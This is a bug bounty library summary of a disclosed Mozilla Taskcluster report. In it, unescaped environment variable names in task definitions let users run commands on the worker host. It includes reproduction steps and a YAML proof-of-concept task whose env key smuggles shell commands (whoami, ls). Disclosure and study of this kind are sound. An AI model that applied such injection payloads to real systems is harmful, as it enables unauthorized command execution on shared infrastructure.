# RCE on worker host due to unsanitized "env" variable name in task definition on community-tc.services.mozilla.com

Taskcluster worker escaped env var names into the podman command without shell escaping, letting any community-tc user run commands on the worker host.

- Payout: $500
- Severity: low
- Program: Mozilla
- Found by: ebrietas
- Disclosed: 2024-12-08
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/2221404
- Library page: https://bugbountylibrary.com/r/h1%3A2221404
- Tags: area:cloud domain:infra impact:internal-access impact:rce kind:bounty platform:hackerone sev:low tech:docker technique:source-review vuln:command-injection vuln:rce

**Target:** Taskcluster worker task definition env handling
**Root cause:** The custom shell.escape function was applied to image name, commands, and artifact paths but not to environment variable names, which are interpolated into the podman command line.
**Steps:**
1. Log in to community-tc.services.mozilla.com with a GitHub account
2. Create a task at /tasks/create using the proj-misc/tutorial queue
3. Set payload.env key to `test2 --help ; whoami ; ls -lah ;: '--help'` with image ubuntu:latest
4. Run task and view live logs to see command output from the worker host
**How found:** Noticed the shell.escape helper was applied to most user-supplied parameters (image, command, artifact path) but not the env variable name, then confirmed the community instance allows any user to use an example worker group.
**Exploitation:** Any authenticated user submits a task whose env variable name contains shell metacharacters; the worker builds a podman command with the unescaped name, executing arbitrary commands on the worker host outside the container.
**Insight:** When a codebase escapes most user inputs via a helper, enumerate every interpolation point and check which ones skip it — env var names, labels, and keys are commonly overlooked because they look like identifiers rather than values.

## Proof of concept (copied exactly from the original report)

**Task definition with malicious env variable name**

```
retries: 0
created: '2023-10-23T08:10:11.044Z'
deadline: '2023-10-23T11:10:11.044Z'
expires: '2024-10-23T11:10:11.044Z'
taskQueueId: proj-misc/tutorial
projectId: none
tags: {}
scopes: []
payload:
  env:
# Commands to run in here
    test2 --help ; whoami ; ls -lah ;: '--help'
  image: ubuntu:latest
  command:
    - /bin/bash
    - '-c'
    - 'echo hello'
  maxRunTime: 5000
extra: {}
metadata:
  name: example-task
  description: An **example** task
  owner: name@example.com
  source: https://community-tc.services.mozilla.com/tasks/create
schedulerId: taskcluster-ui
```

